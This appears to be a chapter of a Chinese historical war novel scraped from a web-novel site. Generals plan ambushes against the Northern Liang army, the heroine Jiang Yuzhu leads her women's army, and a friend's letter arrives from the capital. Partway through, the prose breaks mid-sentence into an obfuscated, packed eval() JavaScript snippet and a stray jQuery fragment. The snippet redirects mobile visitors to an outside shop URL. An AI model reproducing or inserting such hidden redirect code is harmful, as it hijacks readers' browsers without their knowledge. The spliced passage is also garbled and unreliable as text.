一个人,与其血脉相连的母亲有着相似的容貌并不足为奇。
但,一个像蓬勃的烈火,一个像灵巧的水流。李尔想不通,是为什么,让他能在水里看见火的影子呢。
两者间一定是有着特别的关系,李尔想着,于是下意识带着一些好奇去对这个女孩进行观察。
左忠祥掀了帘子进来,看见背靠着桌子的姜岷,背对着他,双手撑在桌子上的李尔,以及刚站起身的姜玉竹。
“我来晚了?”左忠祥疑惑着,步伐稳稳的落在平地上,走到李尔身边。
李尔听见来人的声音,没有抬头,眼神呆愣着,嘴上却很快的给出了反应。
“左大哥来的正巧呢。”
这个人说话一直是那种轻松悠扬的语调,左忠祥刚刚认识他的时候还以为他是都城里哪家的公子哥。
“我和将军刚醒,小将军倒是来的最早。”
李尔转过身子来看他,左忠祥黑红的脸上布满了纹路,眼下唇边,有些甚至蜿蜒到鬓边的白发旁,他的胡子也花白了。
原来他们上一次这样并肩的时候已经是十多年前了吗。
“是吗。”左忠祥脸上的纹路更深了,垂坠的眼皮显着他半眯的眼睛更小了。
“害呀,我出来的时候小郑和小纪才刚睡醒,我还以为是年轻人嗜睡,只有我这个老家伙起的最早呢。”
“唉!”李尔直起身子,拍了拍他的胳膊:“左大哥此言差异。”
“咱们现在这帮人哪个年轻?”
左忠祥听了这话才想起来,虽然自己是这些人中年龄最大的,但是他眼中的这些弟弟妹妹们也不再年轻了。单他们这伙人里,年纪最小的李尔,今年也快有三十岁了。
他下意识把目光转向李尔,李尔示意他向后看。
左忠祥抬头,他看见了一名年轻的将士。
姜玉竹还在品味着这两个人的脾气秉性,就听见话头到了自己的身上。
“咱这屋里啊,只有小将军能算得上是'年轻'二字吧。”
这话一出,连姜岷也侧过身看向自己的女儿。
姜玉竹眼睛低了一瞬,而后笑着说:“玉竹经验微薄,做事没有各位叔伯稳重,让先生见笑了。”
“啊哈哈!”李尔笑带头笑开了,也没忘对着左忠祥说:“纪将军和伯卿兄两个兵鲁子,竟还能教出小将军这么个玲珑心的女儿!岂不是一大奇事!”
姜岷还在思量着两个人说的话,又听见旧友对女儿的肯定,咧着嘴说:“我愚笨,阿燎的教育大都是肆龄亲自上手的。”
李尔随手在空中挥了两下:“这不就能说的通了,纪将军倒是个能说会道的。”
左忠祥点了点头,对李尔的话表示赞同。
不过,姜岷听了这话没有恼,笑的更幸福的样子,说着:“肆龄什么都好,这孩子们也都随了肆龄了,让我放心呐!”
姜岷一直是个很知足的人,他明白自己的缺点,所以他很少说话。姜玉竹也知道父亲因为不善言辞所以很少和她交谈,这让她一直不知道应该怎么和父亲相处。
父女两人的关系一直都是淡淡的,但在母亲去世后,姜玉竹发现姜岷正慢慢学着母亲的样子。
这一会儿的功夫,纪兆扬和郑骏也来了,外头的守兵掀开了帘子,两个人拿着好几个饼进来。
“都吃饭没有?”郑骏不仅每只手抓了五个饼,嘴里还叼了一个。
“唉?”李尔早就饿了,赶紧转过身去接:“你们俩来的可太巧了。”
说着,他从郑骏的手中拿了一个饼塞到自己嘴里。
纪兆扬则是先给在座的每个人发了一个饼,然后才自己吃了起来。
耳边是李尔囫囵不清的声音。
“我昨夜同将军,看了一宿的地图,一直都没有吃东西。”李尔又咬了一口,说道:“真是饿死我了。”
姜岷坐在一边的地垫上,拿着饼一口一口的啃着。一群人跟着挪到地垫边,李尔顺手把地图拿了下来,放在茶几上。
几个人大大咧咧地坐在垫子上,姜玉竹拿着饼,小口小口地啃,一边啃一边盯着地图愣神。
“唉?探子回来没有?”
“昨晚上你们走了之后回来的。”李尔使劲的吞了一口嘴里的饼,又继续说:“昨天我和将军想了一宿。
咱们先分两波兵,去渂山和丹阳谷两地。”
“丹阳谷?昨天说的那个山谷地?”郑骏先有了疑惑。
李尔回答:“对。这里离翎城和集阳城都很近,这里埋伏的人数不需太多,但如果能够打掉四分之一的人,他们就一定会先去占集阳城。”
“在那种地方干掉他们四分之一的人?那不是得纯靠埋伏了吗。”纪兆扬又问。
“这算是最好的情况了。”左忠祥放下手中的饼,转向李尔继续问道:“如果,没有数量达到四分之一呢?”
郑骏拍了拍李尔的肩膀:“李尔啊,你怎么一上来就说最难的任务。”
听了这话,李尔才看到旁边其他人的神情严肃,立马解释:“没有那么严重啊。”他摆了摆手,继续说:“咱们在其他这几处,都会布军。”
李尔指了另一处山谷,和一处山的阳面。
姜玉竹倒是料到了李尔会选择绯云山谷,但这一处霞山的阳面让她不太懂李尔这样安排的意义。
李尔继续说:“你们别看霞山高耸,地势崎岖,但其阳面的平地只依靠着这一座山,根据北凉萨尔图大将军的习性,他们很有可能选在这里驻扎。”
姜岷算了算时间,开始布置:“我们最先要做的是先到丹阳谷,方法且先不计,只管先乱掉敌方的阵脚。”
“这地方任务很艰巨啊,有句话叫'凡战者,以正合,以奇胜',若这里能获得大胜,我们胜的概率就大啦。”李尔对姜岷的话进行补充。
李尔见在座的各位都大致了解了,又提出自己的想法:“依我了解,巾帼军最擅长奇袭之术。”
姜玉竹点了点头表示认同,在她刚刚进入巾帼军的时候,纪祯好会统一的给将士们教授兵法。
母亲告诉过她:“站场上若只依力量定胜负,女人做将士的路只会更难走。但从古至今没有一个战争是仅仅依靠力量来定胜负的。寡,可以敌众,柔,可以克
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708871|208389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚,这就是巾帼军该走的路。”
此刻,姜玉竹看着李尔:“先生说的不错,巾帼军常以奇袭取胜。玉竹愿率军前去。”
李尔没说话,先是看了一眼旁边垂眼沉默不语的姜岷,又问道:“将军意下如何?”
姜岷没抬头,只做出了回答:“巾帼军最合适。应当让她去。”
得到姜岷的同意,李尔又给姜玉竹安排了一些弓箭兵,骑兵等,又对她进行了一些嘱咐。
听李耳安排完丹阳谷的事宜,早就有些疑惑的郑骏才开了口:“自筹,你昨夜不是说北凉军先走丹阳谷的概率是五成吗,又只需乱其军心,怎的要用这么多的兵力?”
“用兵之法,无恃其不来,恃吾有以待也。”李耳笑着问他:“这句话郑兄能听懂不?”
郑骏自信地摆摆手:“这有什么的,就是咱不怕他们不来,咱有的是力气和法子!”
这样粗糙的言语,和这样扬扬自得的表情,让在座的各位都大笑了起来。
姜岷也开始和李耳一齐为大家分配任务,布置完各节点的人数,战略等,就敲定凌晨出发,于是各位将领分头行动,离开了姜岷所在的帐篷。
姜玉竹出了帐篷,本还以为会挺晚,结果太阳正把营地烤的暖烘烘的,让人差点以为现在还是夏天。
问了时间,才刚刚午时,姜玉竹找到张姚儿,将与李耳等人谈论的事情大致讲与她听,两个人又商讨了一会儿。
正是午休的时候,姜玉竹与张姚儿谈的差不多了,就回到了自己的帐篷。
一进账子,陈秋叶立刻拿了封信来。“姑娘,说是都城来的信。”
姜玉竹大概知道了来信人是谁,坐在书案后头折开信封来看。
“阿燎亲启
吾妹阿燎,生辰快乐。
我在家中算了算时间,若是我现在把信寄出,大约在你生辰的时候就能收到,于是我赶快写这封信,准备叫人快马加鞭的送到你的手中,我也不拘用什么文体了,只长篇大论一番,望尔海涵。
你到边境了吗?这一路上可还适应?你上战场了吗?你能吃的惯住的惯吗?听说北地苦寒,你有没有生病?祖母也时常念叨阿燎与父亲,你要是收到了这封信一定记得回我。
家里一切都好,不用挂念。对了,大夫说我有孕了,己经三个月啦,祖母与阿焕都很高兴,我还看见阿焕也给父亲写了信,相信此刻父亲也知晓这件好事了,等你们平安归来,我们一家团聚。
挚友婵娘
敬延一年七月二日”
这样一封信,让一连几月沉溺在严峻中的姜玉竹多了一丝由衷的暖心。她忙让秋叶找出一个好的玉挂件,提笔写下
“婵娘亲启
挚友婵娘,见字如晤。
读了你的信,我心里很开心,我一切都好,父亲也一切都好,婵娘书信予我,我很欣喜。
听闻兄嫂的好事,随信寄玉佩一只,欲赠予幼侄。有些简陋,等我归家,再另赠其他。
阿燎感谢祖母兄嫂的惦念,望家中一切安好。
挚友燎香
敬延一年十月二十八日”。